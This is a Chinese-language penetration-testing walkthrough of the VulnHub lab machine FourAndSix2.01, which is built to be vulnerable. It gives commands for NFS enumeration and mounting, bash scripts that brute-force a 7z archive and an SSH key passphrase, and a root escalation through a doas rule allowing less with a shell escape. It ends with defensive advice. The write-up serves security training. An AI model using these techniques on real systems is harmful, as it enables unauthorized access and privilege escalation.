VulnHub渗透测试之FourAndSix2.01
字数 1163 2025-08-18 11:37:50

VulnHub渗透测试之FourAndSix2.01详细教学文档

1. 环境准备

1.1 靶机设置

  • 下载FourAndSix2.01的OVA文件
  • 导入到虚拟机平台(支持VMware Workstation、ESXi或VirtualBox)
  • 启动后查看靶机IP地址(示例中为172.17.135.30)

1.2 攻击机准备

  • Kali Linux或其他渗透测试发行版
  • 确保安装以下工具:
    • Nmap
    • Metasploit Framework
    • 7z/rarcrack(用于压缩包破解)
    • SSH客户端

2. 信息收集

2.1 端口扫描

使用Nmap扫描靶机:

nmap -sV 172.17.135.30

发现开放2049端口,运行NFS服务

2.2 NFS服务探测

使用Metasploit扫描可挂载目录:

msfconsole
use auxiliary/scanner/nfs/nfsmount
set RHOSTS 172.17.135.30
run

发现可挂载目录:/home/user/storage

3. 利用NFS服务

3.1 挂载NFS目录

在攻击机上创建挂载点并挂载:

mkdir /tmp/storage
mount -t nfs -o nolock 172.17.135.30:/home/user/storage /tmp/storage

3.2 分析挂载内容

发现backup.7z压缩文件,尝试解压:

7z e backup.7z

提示需要密码

4. 破解7z压缩包

4.1 使用rarcrack爆破

rarcrack --thread 4 --type 7z backup.7z

4.2 使用7z命令字典爆破

创建爆破脚本7z-crack.sh

#!/bin/bash
cat $2 | while read line;do
  if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then
    echo "FOUND PASSWORD:"$line
    break
  fi
done

执行爆破:

bash 7z-crack.sh /tmp/storage/backup.7z /usr/share/wordlists/rockyou.txt

成功获取密码:chocolate

4.3 解压文件

7z e backup.7z -pchocolate

发现内容包含:

  • 多张图片
  • SSH密钥文件:id_rsaid_rsa.pub

5. 利用SSH密钥

5.1 尝试SSH登录

将私钥复制到攻击机:

cp /tmp/storage/id_rsa ~/.ssh/
chmod 600 ~/.ssh/id_rsa

尝试连接:

ssh user@172.17.135.30 -i ~/.ssh/id_rsa

提示需要私钥密码

5.2 破解SSH私钥密码

创建破解脚本id_rsa-crack.sh

#!/bin/bash
cat /usr/share/wordlists/rockyou.txt | while read line;do
  if ssh-keygen -p -P $line -N $line -f $1 1>/dev/null 2>/dev/null;then
    echo "PASSWORD FOUND : "$line
    break
  fi
done

执行破解:

bash id_rsa-crack.sh ~/.ssh/id_rsa

获取密码:12345678

5.3 成功SSH登录

ssh user@172.17.135.30 -i ~/.ssh/id_rsa

输入私钥密码12345678后成功登录

6. 权限提升

6.1 系统信息收集

id
# 输出:uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)

uname -a
# 输出:OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64

6.2 分析doas配置

查看/etc/doas.conf

cat /etc/doas.conf

内容:

permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root

这表明:

  • 当前用户可以不输入密码以root权限执行/usr/bin/less /var/log/authlog
  • 命令参数固定为/var/log/authlog

6.3 利用less提权

  1. 执行doas命令:
doas /usr/bin/less /var/log/authlog
  1. 在less界面中按下v键进入编辑模式
  2. 在vi编辑模式下执行命令:
:!/bin/sh
  1. 此时获得root shell

7. 获取flag

cat /root/flag.txt

8. 关键点总结

  1. NFS服务利用:通过NFS挂载获取敏感文件
  2. 压缩包破解:使用字典爆破7z密码
  3. SSH私钥利用:破解私钥密码后实现无密码登录
  4. doas配置滥用:利用配置不当的doas规则实现权限提升
  5. less提权技巧:利用less的vi模式执行shell命令

9. 防御建议

  1. 限制NFS服务的访问权限
  2. 避免在共享目录存放敏感文件
  3. 使用强密码保护压缩文件和SSH私钥
  4. 谨慎配置doas/sudo权限,避免过度授权
  5. 定期审计系统配置和权限设置
VulnHub渗透测试之FourAndSix2.01详细教学文档 1. 环境准备 1.1 靶机设置 下载FourAndSix2.01的OVA文件 导入到虚拟机平台(支持VMware Workstation、ESXi或VirtualBox) 启动后查看靶机IP地址(示例中为172.17.135.30) 1.2 攻击机准备 Kali Linux或其他渗透测试发行版 确保安装以下工具: Nmap Metasploit Framework 7z/rarcrack(用于压缩包破解) SSH客户端 2. 信息收集 2.1 端口扫描 使用Nmap扫描靶机: 发现开放2049端口,运行NFS服务 2.2 NFS服务探测 使用Metasploit扫描可挂载目录: 发现可挂载目录: /home/user/storage 3. 利用NFS服务 3.1 挂载NFS目录 在攻击机上创建挂载点并挂载: 3.2 分析挂载内容 发现 backup.7z 压缩文件,尝试解压: 提示需要密码 4. 破解7z压缩包 4.1 使用rarcrack爆破 4.2 使用7z命令字典爆破 创建爆破脚本 7z-crack.sh : 执行爆破: 成功获取密码: chocolate 4.3 解压文件 发现内容包含: 多张图片 SSH密钥文件: id_rsa 和 id_rsa.pub 5. 利用SSH密钥 5.1 尝试SSH登录 将私钥复制到攻击机: 尝试连接: 提示需要私钥密码 5.2 破解SSH私钥密码 创建破解脚本 id_rsa-crack.sh : 执行破解: 获取密码: 12345678 5.3 成功SSH登录 输入私钥密码 12345678 后成功登录 6. 权限提升 6.1 系统信息收集 6.2 分析doas配置 查看 /etc/doas.conf : 内容: 这表明: 当前用户可以不输入密码以root权限执行 /usr/bin/less /var/log/authlog 命令参数固定为 /var/log/authlog 6.3 利用less提权 执行doas命令: 在less界面中按下 v 键进入编辑模式 在vi编辑模式下执行命令: 此时获得root shell 7. 获取flag 8. 关键点总结 NFS服务利用 :通过NFS挂载获取敏感文件 压缩包破解 :使用字典爆破7z密码 SSH私钥利用 :破解私钥密码后实现无密码登录 doas配置滥用 :利用配置不当的doas规则实现权限提升 less提权技巧 :利用less的vi模式执行shell命令 9. 防御建议 限制NFS服务的访问权限 避免在共享目录存放敏感文件 使用强密码保护压缩文件和SSH私钥 谨慎配置doas/sudo权限,避免过度授权 定期审计系统配置和权限设置